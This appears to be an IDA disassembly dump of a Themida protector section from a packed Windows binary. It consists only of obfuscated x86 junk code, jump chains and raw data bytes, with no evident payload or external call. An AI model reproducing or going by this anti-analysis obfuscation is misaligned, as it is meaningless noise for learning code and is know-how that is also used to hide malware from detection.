		db 80h,	0EBh, 7Fh
		dd 5B66D828h, 52240C8Bh, 0BB53E289h, 4,	835BDA01h, 148704C2h
		dd 0E41EE924h, 8AB1FFFFh, 2B21E9h, 0C8016600h, 0C8685966h
		dd 89000060h, 0EAE9242Ch, 8B000046h, 0CA682404h, 89000055h
		dd 5B54241Ch, 6FEA6857h, 0EDE90000h
		db 0Bh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_53C7FF:				; CODE XREF: Themida_:00540742j
		mov	edi, 24194241h
		add	ecx, 24C30E33h
		jmp	loc_53F421
; ---------------------------------------------------------------------------

loc_53C80F:				; CODE XREF: Themida_:0053F41Cj
		pop	ebx
		jmp	loc_541220
; ---------------------------------------------------------------------------
		db 0BFh, 2Bh, 3Ah
		dd 0F78168FFh, 0A2204CC1h, 3C8BFA29h, 4C48124h,	1000000h
		dd 0F8315AD7h, 81243C8Bh, 4C4h,	4EC8100h, 89000000h, 83532434h
		dd 0BE904ECh
		db 0DEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_53C84B:				; CODE XREF: Themida_:005425B4j
		push	ebx
		mov	ebx, 656A6471h
		xor	ebx, 0C0D71A7h
		jmp	loc_539749
; ---------------------------------------------------------------------------
		dd 6196B850h, 0C3018B53h, 0E924048Bh, 463Fh, 0BE56E389h
		dd 73252534h, 54DFE9h, 242C8900h, 0F06473BDh, 0E5E58143h
		dd 4D29F126h, 5382E9h, 54826800h, 24890000h, 24048324h
		dd 24048F04h, 4BD55h, 6C010000h, 2C8B0424h, 4C48324h, 0E9241C8Bh
		dd 123Ah, 0E9CF015Bh, 4345h, 0F280CAFEh, 15AAE96Bh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_53C8C6:				; CODE XREF: Themida_:0054033Fj
		pop	esi
		add	esi, 4
		sub	esi, 4
		push	esi
		push	dword ptr [esp+4]
		mov	esi, [esp]
		jmp	loc_54103E
; ---------------------------------------------------------------------------
		dd 0F59CB28h, 34FFC0B6h, 4EC8187h, 89000000h, 5450240Ch
		dd 40558h, 42D0000h, 87000000h,	248B2404h, 242C8924h, 62B56857h
		dd 0E95F5B66h, 0FFFFD839h, 4C281h, 0C5E90000h
		db 0B7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_53C91F:				; CODE XREF: Themida_:005409BEj
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		push	ebx
		mov	ebx, 7974725Fh
		push	3680h
		mov	[esp], ecx
		mov	ecx, 7973725Fh
		sub	ebx, ecx
		push	dword ptr [esp]
		jmp	loc_53DA20
; ---------------------------------------------------------------------------
		db 33h,	4, 24h
aLFrsq		db '▀$$fRИq%',0
		align 2
		dw 0EF81h
		dd 40406BD6h, 243C875Bh, 0E924248Bh, 0FFFFA45Eh, 8324048Fh
		dd 0FF042404h, 39E92434h, 21FFFFD5h, 569BE9F5h,	815C0000h
		dd 0DAECECE9h, 8BCD8943h, 0C481240Ch, 4, 0ED81EDD1h, 32F8627Eh
		dd 75C4E581h, 0EDC17B77h, 7EDC108h, 1AE95357h, 89000031h
		dd 4B951E0h, 1000000h, 0C08359C8h, 24043304h, 33240431h
		dd 248B2404h, 83EB8024h, 0FFD1A1E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_53C9C9:				; CODE XREF: Themida_:0053BAF6j
		push	36F8h
		jmp	loc_53B9B7
; ---------------------------------------------------------------------------

loc_53C9D3:				; CODE XREF: Themida_:0053B0D0j
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_5422E2
; ---------------------------------------------------------------------------
		dd 0A7AEE956h, 0DAF7FFFFh, 10E95253h, 68FFFFF1h, 0B23h
		dd 5F240C89h, 724D68h, 0E997E900h, 0EE81FFFFh, 7F072ED5h
		dd 5C0AEE81h, 815A6ACCh, 2C6h, 24343300h, 0E9243431h, 0FFFFD229h
; ---------------------------------------------------------------------------

loc_53CA1C:				; CODE XREF: Themida_:0053762Dj
		push	ebx
		mov	ebx, 4AE72261h
		xor	ecx, ebx
		mov	ebx, [esp]
		jmp	loc_538750
; ---------------------------------------------------------------------------

loc_53CA2C:				; CODE XREF: Themida_:00539D12j
		shl	eax, cl
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_53DE7E
; ---------------------------------------------------------------------------

loc_53CA3C:				; CODE XREF: Themida_:0054048Ej
		popf
		retn
; ---------------------------------------------------------------------------
		dw 0A2E9h
		db 0C7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_53CA43:				; CODE XREF: Themida_:00539D3Aj
		push	1F45h
		mov	[esp], ecx
		mov	ecx, esp
		push	edi
		mov	edi, 2577781Dh
		shr	edi, 6
		sub	edi, 57963F7Eh
		shl	edi, 6
		shl	edi, 4
		or	edi, 112B0A7Eh
		xor	edi, 0FF7B8A7Ah
		add	ecx, edi
		mov	edi, [esp]
		add	esp, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		or	eax, eax
		jz	loc_53B436
		push	7AFh
		mov	[esp], edx
		jmp	loc_53BCB0
; ---------------------------------------------------------------------------
		dd offset byte_55C581
		dw 55B2h
		dd 0FFAC8BE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_53CA9D:				; CODE XREF: Themida_:00537EC4j
		pop	esp
		or	[edi+1Ch], ecx
		mov	ecx, [esp]
		push	edi
		mov	edi, esp
		jmp	loc_53C638
; ---------------------------------------------------------------------------
		dd 0BA241489h, 4, 26CDC681h, 0C0E9502Bh
		db 0E7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_53CABF:				; CODE XREF: Themida_:0053A680j
		not	edi
		or	edi, 4E4E2A88h
		neg	edi
		sub	edi, 1201112h
		jmp	loc_53F872
; ---------------------------------------------------------------------------
		dd 81242489h, 42404h, 2BE90000h
		db 0A5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_53CAE3:				; CODE XREF: Themida_:0053A0D7j
		mov	edi, 1FBA4C09h
		push	edx
		mov	edx, 4BFD596Eh
		jmp	loc_53A0EE
; ---------------------------------------------------------------------------
		db 8Bh
		dd 1068243Ch, 8900006Ah, 0E189240Ch, 4C181h, 0C1830000h
		dd 240C8704h, 74FF515Ch, 8F590424h, 248B2404h, 24048924h
		dd 43ABE9h, 4E98100h, 87000000h, 248B240Ch, 243C8924h
		dd 0EF67E951h, 665CFFFFh, 2668F1F7h, 8900005Ch,	14E9241Ch
		dd 6600003Ch, 6824048Bh, 3E4Ch,	30F7E9h
		db 0
; ---------------------------------------------------------------------------

loc_53CB55:				; CODE XREF: Themida_:0053A104j
		and	edx, edi
		pop	edi
		jmp	loc_540962
; ---------------------------------------------------------------------------
		db 0F7h, 0DDh, 0E9h
		dd 0FFFFD8F8h, 8704EE83h, 248B2434h, 3FADE924h,	66680000h
		dd 8900006Fh, 0F2BD242Ch, 535AD554h, 4E6580BBh,	0A1F3815Bh
		dd 29748318h, 0D53BE9DDh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_53CB92:				; CODE XREF: Themida_:0053A4E2j
		add	esi, ebx
		push	dword ptr [esp]
		pop	ebx
		jmp	loc_541372
; ---------------------------------------------------------------------------
		db 89h,	14h, 24h
		dd 0E2C0BEB2h, 80DAF606h, 0E2C011C2h, 0F6E7E903h, 0E95AFFFFh
		dd 3145h
; ---------------------------------------------------------------------------

loc_53CBB8:				; CODE XREF: Themida_:005386E3j
		pop	ebp
		or	ebx, esi
		jmp	loc_53AEF7
; ---------------------------------------------------------------------------

loc_53CBC0:				; CODE XREF: Themida_:005409F3j
		mov	bl, 0Bh
		shr	bl, 8
		shr	bl, 5
		jmp	loc_53EB89
; ---------------------------------------------------------------------------
		db 68h,	8Bh, 5Fh
		dd 4EE90000h
		db 0E4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_53CBD7:				; CODE XREF: Themida_:0053A951j
		push	edi
		mov	edi, 0DBA7DF4h
		sub	edi, 7F3F613Ch
		jmp	loc_53E0A1
; ---------------------------------------------------------------------------
		dd 60760BEh, 5EF78956h,	4803EF81h, 0DFF72841h, 0C882C781h
		dd 0FD895A57h, 20C5815Fh, 0E9429DD9h, 501Dh, 730EE781h
		dd 0E7C16C54h, 0CD62E908h, 0C681FFFFh, 4, 0E904C683h, 0FFFFC177h
		dd 0A0C7814Fh, 8992613Fh, 2434FFFDh, 4C4815Fh, 0E9000000h
		dd 3717h, 0E0895058h, 0FFE305E9h, 0A5E954FFh
		db 0Ch,	2 dup(0)
; ---------------------------------------------------------------------------

loc_53CC4F:				; CODE XREF: Themida_:00542C92j
		and	eax, ebp
		mov	ebp, [esp]
		push	ebx
		push	esp
		pop	ebx
		add	ebx, 4
		push	ebx
		mov	ebx, esp
		push	ecx
		mov	ecx, 458617Fh
		shr	ecx, 3
		add	ecx, 0FF74F3D5h
		jmp	loc_540E9A
; ---------------------------------------------------------------------------
		dd 4C4835Ch, 9C240431h,	0FFA141E9h, 0E932FFFFh,	0FFFFA13Ah
; ---------------------------------------------------------------------------

loc_53CC88:				; CODE XREF: Themida_:0053A59Aj
		mov	ecx, edi
		push	dword ptr [esp]
		pop	edi
		jmp	loc_538AE2
; ---------------------------------------------------------------------------

loc_53CC93:				; CODE XREF: Themida_:0053F6BFj
		xchg	eax, [esp]
		pop	esp
		push	edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_541F71
; ---------------------------------------------------------------------------
		db 28h,	0D0h, 8Bh
		dd 0C4832414h, 0A5B25204h, 0FE08E2C0h, 0D0D0E9CAh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_53CCBA:				; CODE XREF: Themida_:0053B58Cj
		pop	esi
		push	0D25h
		mov	[esp], edx
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 203A9C9Bh
		mov	edx, ebx
		mov	ebx, [esp]
		add	esp, 4
		push	edx
		mov	edx, 3206627Ch
		sub	eax, edx
		pop	edx
		sub	eax, edx
		push	edi
		mov	edi, 3206627Ch
		jmp	loc_53BF49
; ---------------------------------------------------------------------------
		dd 4C38359h, 8B241C87h,	51662424h, 0FFD1F8E9h, 0EDEB81FFh
		dd 810D6934h, 860283F3h, 0B4CB8139h, 502FFB0Eh,	40E2E9h
		dd 0F9895800h, 0E9243C8Bh, 0FFFFDD93h, 3E89E956h, 8B660000h
		dd 0CF682404h, 0E900001Ah, 4727h, 66D82966h, 66709705h
		dd 6633302Dh, 58B96651h, 0FA8BE901h, 0F031FFFFh, 5224348Bh
		dd 60BBE9h, 81C30100h, 0E62521C3h, 2434FF10h, 3F11E958h
		dd 0F8000000h, 3059665Bh, 0C0B60FC3h, 6887048Dh, 661Dh
		dd 0E9240489h, 0FFFFD23Eh, 4C481h, 0C6810000h, 4, 0FFE70FE9h
		dd 240487FFh, 0A028E95Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_53CD9A:				; CODE XREF: Themida_:0053E867j
		mov	ebx, 28h
		add	ebx, 60E8707Fh
		add	ebx, edi
		push	6D72h
		mov	[esp], esi
		push	esp
		mov	esi, [esp]
		add	esp, 4
		add	esi, 4
		jmp	loc_53F4A0
; ---------------------------------------------------------------------------
		db 66h,	68h, 6Dh
		dd 0F7B4E929h, 0DE29FFFFh, 719FEE81h, 0E95B02D2h, 244h
; ---------------------------------------------------------------------------

loc_53CDD8:				; CODE XREF: Themida_:0053E0CBj
		pop	eax
		and	eax, ebp
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		jmp	loc_53F018
; ---------------------------------------------------------------------------
aQs9?		db 'QИ9?',0
		dd 81D1F700h, 136C9BF1h, 27E98102h, 526EFA6Ah, 0C350E957h
		dd 0E588FFFFh, 86D3F658h, 0B75366DDh, 0BED8084h, 0C580FD00h
		dd 0C05B660Bh, 0C58003E5h, 2C1704C8h, 4E800EBh,	6AE953EBh
		db 2Bh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_53CE2B:				; CODE XREF: Themida_:005405C8j
		push	dword ptr [esp]
		jmp	loc_53C369
; ---------------------------------------------------------------------------

loc_53CE33:				; CODE XREF: Themida_:0053E4FDj
		mov	[esp], eax
		mov	eax, 4311237Eh
		xor	edi, eax
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		jmp	loc_53F4DF
; ---------------------------------------------------------------------------
		db 83h,	0ECh, 4
		dd 89241C89h, 7BE952E3h, 81FFFF9Fh, 7242BDE9h, 0E9C10152h
		dd 4F44h, 0BEEE8159h, 17F1F06h,	0BEC681DEh, 517F1F06h
		dd 330890B9h, 0FFCE0133h, 81592434h, 4C4h, 0CDFBE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_53CE8A:				; CODE XREF: Themida_:0053D512j
		pop	esi
		add	edi, 4
		jmp	loc_53BB63
; ---------------------------------------------------------------------------
		dw 0B72Dh
		dd 8B6E3969h, 6EE92434h
		db 0A6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_53CEA3:				; CODE XREF: Themida_:0053B2CCj
		add	esi, edi
		jmp	loc_5385BC
; ---------------------------------------------------------------------------

loc_53CEAA:				; CODE XREF: Themida_:005384E0j
		sub	dword ptr [edx+38h], 8D89E34Dh
		mov	dword ptr [edx+30h], 5EED580Ch
		sub	dword ptr [edx+30h], 0FFFFFFFFh
		jmp	loc_53B7E2
; ---------------------------------------------------------------------------
		dd 6424248Bh, 0E9028966h, 0FFFF9EF2h
; ---------------------------------------------------------------------------

loc_53CED0:				; CODE XREF: Themida_:0053DF83j
		mov	ebx, 7CDE1E2Ch
		add	ebx, 234E7F0Ch
		or	ebx, 760E2758h
		and	ebx, 79B34027h
		add	ebx, 424B6F80h
		xor	ebx, 10850F27h
		add	ebx, 0B2BB0DF6h
		add	dword ptr [esp+4], 19121367h
		sub	[esp+4], ebx
		jmp	loc_53BD24
; ---------------------------------------------------------------------------
		dw 5954h
		dd 70FF68h, 0C9BAE900h,	0BF68FFFFh, 8900005Dh, 5A542414h
		dd 0FFEAB0E9h, 68E2DFFh, 24E9293Dh
		db 3Dh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_53CF2F:				; CODE XREF: Themida_:00537078j
		mov	[esp], ebp
		push	dword ptr [esp+4]
		mov	ebp, [esp]
		jmp	loc_53E751
; ---------------------------------------------------------------------------

loc_53CF3E:				; CODE XREF: Themida_:0053EE1Aj
		xor	bl, al
		movzx	eax, al
		push	dword ptr [edi+eax*4]
		jmp	loc_53F23F
; ---------------------------------------------------------------------------
		db 83h
		dd 0EB8002C4h, 4AEB80F7h, 97E9C300h, 8B000028h,	0D2E92404h
		dd 6600001Ch, 6824048Bh, 71C7h,	89240C89h, 595451E1h, 3E3AE9h
		db 0
; ---------------------------------------------------------------------------

loc_53CF79:				; CODE XREF: Themida_:00542889j
		xchg	eax, [esp]
		pop	esp
		pop	ebx
		add	ebp, 4EFD22B5h
		jmp	loc_53DF73
; ---------------------------------------------------------------------------

loc_53CF89:				; CODE XREF: Themida_:005399FDj
		mov	edi, 73CC2AA9h
		shr	edi, 8
		inc	edi
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 6A668DF7h
		xor	edi, esi
		mov	esi, [esp]
		add	esp, 4
		push	edi
		add	dword ptr [esp], 43390A23h
		pop	ebp
		sub	ebp, 43390A23h
		pop	edi
		not	ebp
		push	ebx
		mov	ebx, 1
		add	ebp, 61F14E32h
		add	ebp, ebx
		sub	ebp, 61F14E32h
		jmp	loc_539C13
; ---------------------------------------------------------------------------
		db 0BFh
		dd 49CF50D6h, 80A492B8h, 0CD16E9A4h, 0C781FFFFh, 3DF249B8h
		dd 7D3DBA52h, 0C28115D1h, 7C475BA6h, 5008EAC1h,	1272F9B8h
		dd 58C2312Ch, 0EA81DAF7h, 43881DC7h, 2A3BF281h,	0D7298303h
		dd 1BC7815Ah, 0E905FC28h, 0FFFFAC6Fh, 4E5FFE31h, 0D5EBF57h
		dd 0EEE968DCh, 83000029h, 856804C4h, 89000059h,	2BF243Ch
		dd 1000000h, 0F6ECE9FAh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_53D042:				; CODE XREF: Themida_:0053F695j
		push	esi
		mov	esi, 3FA00831h
		sub	esi, 75790EA4h
		dec	esi
		not	esi
		add	esi, 34B310A2h
		add	ebx, esi
		pop	esi
		add	ebx, ecx
		push	edx
		jmp	loc_537470
; ---------------------------------------------------------------------------
		dw 0E068h
		dd 0E900001Fh, 57DDh
; ---------------------------------------------------------------------------

loc_53D06C:				; CODE XREF: Themida_:0053F13Ej
		mov	ecx, esi
		pop	esi
		or	ecx, 6930331Bh
		sub	ecx, 3EB10B3Bh
		push	ebx
		mov	ebx, 0D376D7FBh
		xor	ecx, ebx
		jmp	loc_53B3AD
; ---------------------------------------------------------------------------
		dd 0DA30B7B2h, 0FF9EC0E9h, 48F54FFh, 7B5E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_53D09A:				; CODE XREF: Themida_:0053C6ABj
		mov	cl, 3Fh
		add	ah, cl
		pop	ecx
		sub	ah, 93h
		jmp	loc_5411EA
; ---------------------------------------------------------------------------
		db 89h
		dd 4C181E1h, 83000000h,	0C8704C1h, 0C7015C24h, 0FFA7FDE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_53D0BD:				; CODE XREF: Themida_:0053FB0Dj
		pop	ebp
		or	edx, eax
		shl	edx, 1
		push	edx
		push	eax
		mov	eax, 1EDF4E5Ch
		push	ecx
		mov	ecx, 7EF81B2Dh
		sub	ecx, 6018CCB5h
		xor	eax, ecx
		pop	ecx
		mov	edx, eax
		pop	eax
		add	edx, edi
		push	eax
		mov	eax, 0
		sub	eax, 6041DA1h
		jmp	loc_5396D3
; ---------------------------------------------------------------------------
		db 89h,	0E0h, 0E9h
		dd 0FFFFF202h, 3219C381h, 73E90CCDh, 83FFFFBBh,	148704EAh
		dd 14895C24h, 0BA73E924h, 0E981FFFFh, 7A1B73E1h, 59CB015Bh
		dd 2C381h, 6E90000h
		db 0F5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_53D123:				; CODE XREF: Themida_:0053BD06j
		mov	ecx, edi
		pop	edi
		shl	ecx, 3
		jmp	loc_538615
; ---------------------------------------------------------------------------

loc_53D12E:				; CODE XREF: Themida_:00538C1Aj
		sub	eax, 71356AFDh
		sub	eax, ebx
		add	eax, 71356AFDh
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		push	edi
		sub	esp, 4
		mov	[esp], edx
		push	10h
		push	dword ptr [esp]
		jmp	loc_541D89
; ---------------------------------------------------------------------------
		db 89h
		dd 0E0C15DE8h, 0EAA2E907h, 1C87FFFFh, 50D3E924h, 0EFC10000h
		dd 5BE95005h, 87FFFFE6h, 895C241Ch, 6856240Ch, 1710307Fh
		dd 0A2F6815Eh, 0E9541F01h, 0D0Eh, 852F81BBh, 5BDF295Dh
		dd 8106E7C1h, 0B8736BC7h, 5FFA29C1h, 0E956FA29h, 328Ah
		dd 2024248Bh, 0E99C2404h, 0FFFF9C0Ah, 4DA9B850h, 4E05688Dh
		dd 3579E10Eh, 389C3497h, 0C573E825h, 38F7056Ah,	0E94868F4h
		dd 0FFFFAFBCh, 0C381E389h, 4, 8704C383h, 575C241Ch, 4BFh
		dd 8BFB0100h, 0C483243Ch, 32C9E904h, 4BD0000h, 1000000h
		dd 59685DE8h, 8900004Fh, 48E92414h
		db 2Eh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_53D20F:				; CODE XREF: Themida_:0053EF4Aj
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_539990
; ---------------------------------------------------------------------------
		dw 0DC88h
		dd 0DFE9EB88h, 0F7FFFFFBh, 0E99C241Ch, 0FFFF9B96h, 64006866h
		dd 0FFA171E9h, 300566FFh, 972D6633h, 0FAF2E970h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_53D242:				; CODE XREF: Themida_:0053C6F7j
		mov	edx, ebp
		mov	ebp, [esp]
		add	esp, 4
		inc	edx
		jmp	loc_53E95D
; ---------------------------------------------------------------------------
		db 0E9h
		dd 0FFFF9B6Ah
; ---------------------------------------------------------------------------

loc_53D258:				; CODE XREF: Themida_:00542031j
		shr	ecx, 6
		add	ecx, 6C857920h
		jmp	loc_540D06
; ---------------------------------------------------------------------------
		dw 5F54h
		dd 4C781h, 0FBE90000h
		db 0BEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_53D273:				; CODE XREF: Themida_:00536F0Fj
		push	ecx
		mov	ecx, 693D3F23h
		xor	edx, ecx
		pop	ecx
		xor	ecx, edx
		jmp	loc_53C50E
; ---------------------------------------------------------------------------
		db 5Eh
		dd 3E9F901h, 66000056h,	0E924048Bh, 0FFFFA679h,	8BF0015Ch
		dd 38E92434h, 81FFFFC9h, 4C3h, 4C38100h, 87000000h, 248B241Ch
		dd 81C32924h, 9F6AA5C3h, 0E9008F7Ah, 0FFFF9B02h, 42474FFh
		dd 24048F59h, 8957505Ch, 4C781E7h, 0E9000000h, 4C73h, 565EF129h
		dd 0F13BF3BEh, 5EF1293Fh, 0C262E949h, 6852FFFFh, 308E2695h
		dd 0FFB3D4E9h, 95E951FFh, 83000035h, 39E904C4h,	66000036h
		dd 0B0240489h, 66C708A6h, 5624048Bh, 0C681E689h, 4, 2C681h
		dd 34870000h, 0C7805C24h, 4510486h, 280C044Dh, 0CC5EE9F8h
		dd 0E9F7FFFFh, 37B868h,	24148900h, 7FE99C50h, 88FFFF9Ah
		dd 7C8A5AF4h, 64880424h, 0F6580424h, 0B76EE9D7h, 8955FFFFh
		dd 5DEF89CDh, 25CF8159h, 0F71E5D69h, 1C781D7h, 0E9000000h
		dd 0B1Ah
; ---------------------------------------------------------------------------

loc_53D370:				; CODE XREF: Themida_:005377FBj
		push	ebp
		jmp	loc_53E0F8
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 89562404h, 4BF57E6h,	0E9000000h, 0FFFFCA66h,	8B2434FFh
		dd 2E92414h
		db 0D4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_53D393:				; CODE XREF: Themida_:0053FC96j
		push	eax
		jmp	loc_53B0EA
; ---------------------------------------------------------------------------
		db 21h,	0D3h, 5Ah
		dd 23F9CB81h, 0F7435CA2h, 5F381D3h, 0E9A35DD4h,	0FFFF9A12h
		dd 154D092Dh, 24148B20h, 8304C483h, 22E904ECh
		db 44h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_53D3C3:				; CODE XREF: Themida_:0053E422j
		mov	dh, ah
		mov	eax, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		pop	esp
		add	al, 6Bh
		add	al, dh
		sub	al, 6Bh
		jmp	loc_541B7A
; ---------------------------------------------------------------------------
		dd 0E9242C89h, 0FFFFD05Eh, 4C481h, 0EC810000h, 4, 0FF241C89h
		dd 5B042474h, 8B24048Fh, 0F7662424h, 0E68956E9h, 4EC81h
		dd 1C890000h, 0C50DE924h, 0EB89FFFFh, 4E63E95Dh, 4890000h
		dd 0E9585424h, 632h, 0A391E95Eh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_53D43A:				; CODE XREF: Themida_:0053F526j
		pop	ebp
		jmp	loc_53ED77
; ---------------------------------------------------------------------------
		dd 0C8BE0F66h, 4C216866h, 240C8966h, 0FF9971E9h, 48B66FFh
		dd 4EEB6824h, 34890000h, 4EC8324h, 51242489h, 0FFDDEAE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_53D469:				; CODE XREF: Themida_:00540E9Dj
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], esi
		jmp	loc_540419
; ---------------------------------------------------------------------------
		dd 5CC1BE56h, 0E68150A5h, 2807182Dh, 4B48F681h,	0F729FAEBh
		dd 52BF575Eh, 5313C777h, 0FFFCF7E9h, 0E9DEF7FFh, 0FFFFB2E7h
		dd 2C5CF680h, 0E9F0002Ch, 0FFFFCC8Bh, 0E9CEC280h, 0FFFFF7F1h
		dd 0B60F6664h, 0D9F0E902h, 0C89FFFFh, 40A7E924h, 4000000h
		dd 0F3E99C24h
		db 98h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_53D4CF:				; CODE XREF: Themida_:0054207Fj
		mov	edx, [esp]
		add	esp, 4
		and	eax, ecx
		jmp	loc_54130E
; ---------------------------------------------------------------------------
		db 0E9h
		dd 0FFFF98DEh, 8704C083h, 0E95C2404h, 4B2Bh
; ---------------------------------------------------------------------------

loc_53D4F0:				; CODE XREF: Themida_:0053F878j
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		pop	esp
		jmp	loc_539C7B
; ---------------------------------------------------------------------------

loc_53D4FF:				; CODE XREF: Themida_:005376CDj
		xor	ebp, 28D628ADh
		jmp	loc_542BFB
; ---------------------------------------------------------------------------

loc_53D50A:				; CODE XREF: Themida_:0053BD12j
		push	esi
		mov	esi, 4
		add	edi, esi
		jmp	loc_53CE8A
; ---------------------------------------------------------------------------
		db 66h
		dd 5524048Bh, 5E1068h, 0BDFBE900h, 0E689FFFFh, 4F9ABA52h
		dd 4A422698h, 6782CA81h, 0EA81509Bh, 769B6F96h,	835AD601h
		dd 348704EEh, 0FBE95C24h, 66FFFFAEh, 80FC005Ah,	26E92CECh
		dd 1FFFFC0h, 0E9042454h, 2F33h,	9C2424D3h, 0FF9859E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_53D569:				; CODE XREF: Themida_:0053DE85j
		mov	[esp], ebx
		push	eax
		jmp	loc_5376D2
; ---------------------------------------------------------------------------
		dd offset dword_573B68
		dw 8900h
		dd 4832424h, 48F0424h, 24048324h, 24348B04h, 4C481h, 0C6810000h
		dd 4, 2BD55h, 0EE010000h, 81242C8Bh, 4C4h, 24343300h, 33243431h
		dd 248B2434h, 0D0F1E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_53D5B6:				; CODE XREF: Themida_:00540B06j
		mov	dl, 0FBh
		shl	dl, 7
		sub	esp, 2
		mov	[esp], cx
		mov	cl, 0B3h
		sub	dl, cl
		pop	cx
		dec	dl
		add	dl, 5Ah
		jmp	loc_53E905
; ---------------------------------------------------------------------------

loc_53D5D5:				; CODE XREF: Themida_:0053DB64j
		add	esi, 4
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_53D831
; ---------------------------------------------------------------------------
		dw 8F5Fh
		dd 665C2404h, 9C240409h, 0FF97CDE9h, 2474FFFFh,	241C8B04h
		dd 4846E9h
		db 0
; ---------------------------------------------------------------------------

loc_53D601:				; CODE XREF: Themida_:0053B6CBj
		push	esi
		mov	esi, 67133546h
		jmp	loc_5378FB
; ---------------------------------------------------------------------------
		dd 81241C89h, 4ECh, 24348900h, 1F3C68h,	242C8900h, 0A799E951h
		dd 0C780FFFFh, 1FB0508Dh, 400C9404h, 0F89E9h
		db 0
; ---------------------------------------------------------------------------

loc_53D635:				; CODE XREF: Themida_:0053B814j
		xor	esi, edi
		pop	edi
		push	esi
		add	dword ptr [esp], 506E6734h
		pop	eax
		sub	eax, 506E6734h
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		push	601Fh
		mov	[esp], eax
		sub	dword ptr [esp], 33A354CEh
		mov	ebx, [esp]
		add	esp, 4
		add	ebx, 33A354CEh
		pop	eax
		jmp	loc_542E2D
; ---------------------------------------------------------------------------

loc_53D674:				; CODE XREF: Themida_:00539E3Cj
		xchg	eax, [esp]
		jmp	loc_53B936
; ---------------------------------------------------------------------------
		dd 148B1088h, 0E1895124h, 4C181h, 0C1830000h, 0D982E904h
		dd 0BA52FFFFh, 5C601EE1h, 55AD029h, 72513514h, 81241C8Bh
		dd 4C4h, 0E9D82900h, 388Dh
; ---------------------------------------------------------------------------

loc_53D6B0:				; CODE XREF: Themida_:005423C9j
		pop	eax
		push	dword ptr [ebx]
		add	dword ptr [esp], 768A3CF2h
		jmp	loc_5389FC
; ---------------------------------------------------------------------------
		db 0FFh
		dd 0FBE92C77h, 66FFFF96h, 0E9241489h, 562Ch, 9E773BBDh
		dd 6DF5813Eh, 0F75DE636h, 85CD81DDh, 814B8717h,	0BAF6A9F5h
		dd 0E9EA29C6h, 14B9h, 299DF381h, 0DA29735Dh, 43F3E95Bh
		dd 0C2310000h, 3EA8158h, 198E0D2h, 24148BD1h, 4C481h, 0CFE90000h
		dd 5E000029h, 0FFB81CE9h, 0FFEF83FFh, 0D104EFC1h, 251AE9E7h
		dd 0C330000h, 240C3124h, 5C240C33h, 9C2404D3h, 4B0DE9h
		dd 1E6F2D00h, 34FF40B3h, 240C8B24h, 451BE9h, 0F2815A00h
		dd 0E50DE8h, 15AD089h, 58082444h, 0E43BE95Ah, 3C89FFFFh
		dd 1BF24h, 0FE290000h, 0FFAC2BE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_53D771:				; CODE XREF: Themida_:0053B82Ej
		push	ebx
		mov	ebx, 24331E7Bh
		shr	ebx, 1
		add	ebx, 68EC71C5h
		jmp	loc_542867
; ---------------------------------------------------------------------------
		dd 7B1EEE81h, 0D6F7187Fh, 2922E9h
		db 0
; ---------------------------------------------------------------------------

loc_53D791:				; CODE XREF: Themida_:00541DA3j
		not	ebp
		jmp	loc_539B72
; ---------------------------------------------------------------------------
		dd 83241C8Bh, 516604C4h, 30C3E9h, 0C316600h, 0C336624h
		dd 4243E924h, 4B80000h,	1000000h, 87E958C7h, 5400004Fh
		dd 5DBA5259h, 523ABF68h, 3D71E9h
		db 0
; ---------------------------------------------------------------------------

loc_53D7CD:				; CODE XREF: Themida_:00538660j
		sub	eax, 9C1A6Bh
		add	ebx, eax
		pop	eax
		push	esi
		mov	esi, 4ED16726h
		jmp	loc_542D93
; ---------------------------------------------------------------------------

